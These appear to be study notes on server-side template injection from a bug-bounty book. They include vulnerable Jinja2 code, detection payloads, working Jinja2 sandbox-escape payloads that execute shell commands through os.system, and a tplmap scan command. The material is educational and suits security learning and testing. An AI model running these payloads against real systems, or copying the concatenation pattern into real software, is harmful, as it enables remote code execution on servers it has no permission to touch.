Table of Contents

BBC Ch 16: Server-Side Template Injection (SSTI)

Source: Bug Bounty Bootcamp by Vickie Li

Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable.

How SSTI Works

Vulnerable code (Python/Jinja2):

from jinja2 import Template
tmpl = Template("<html><h1>Hello: " + user_input + "</h1></html>")
tmpl.render()

Safe code:

tmpl = Template("<html><h1>Hello: {{name}}</h1></html>")
tmpl.render(name=user_input)

When code is vulnerable, submitting {{1+1}} returns 2 in the page – the template engine executed the expression.

Prevention

Hunting for SSTI

Step 1: Find User-Input Locations

Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.

Step 2: Detect SSTI with Test Payloads

Submit this polyglot error-inducing string:

{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]

If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads:

Payload Works in
{{7*7}} Jinja2, Twig, Smarty (Python/PHP)
${7*7} FreeMarker, Thymeleaf (Java)
<%= 7*7 %> ERB (Ruby)

If any of these returns 49, SSTI is confirmed.

If input is placed inside expression tags already (e.g., {{user_input}}), just submit 7*7 without the brackets and check if 49 is returned.

Step 3: Identify the Template Engine

Escalating SSTI to RCE (Jinja2)

Jinja2 blocks direct import and os, but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the catch_warnings class, which has access to builtins.

List all subclasses of object:

{{[].__class__.__bases__[0].__subclasses__()}}

Find catch_warnings and access builtins:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'catch_warnings' in x.__name__ %}
    {{ x()._module.__builtins__ }}
  {% endif %}
{% endfor %}

Execute a system command (e.g., ls):

{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'catch_warnings' in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').system('ls') }}
  {% endif %}
{% endfor %}

Safe PoC – create a file with a distinct name:

{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'warning' in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }}
  {% endif %}
{% endfor %}

Other template engines require different syntax and sandbox-escape methods – consult engine-specific documentation and PortSwigger's SSTI research.

Automation

tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines:

python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE"

7-Step Checklist

  1. Find user-input locations that are displayed back to the user.
  2. Submit {{7*7}}, ${7*7}, <%= 7*7 %> to detect SSTI.
  3. If blocked or no output: try the polyglot error payload {{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx].
  4. Identify the template engine from error messages or differential payloads.
  5. Research sandbox-escape techniques for the identified engine.
  6. Escalate to RCE; create a safe PoC file rather than executing destructive commands.
  7. Draft report with the working payload and the engine name.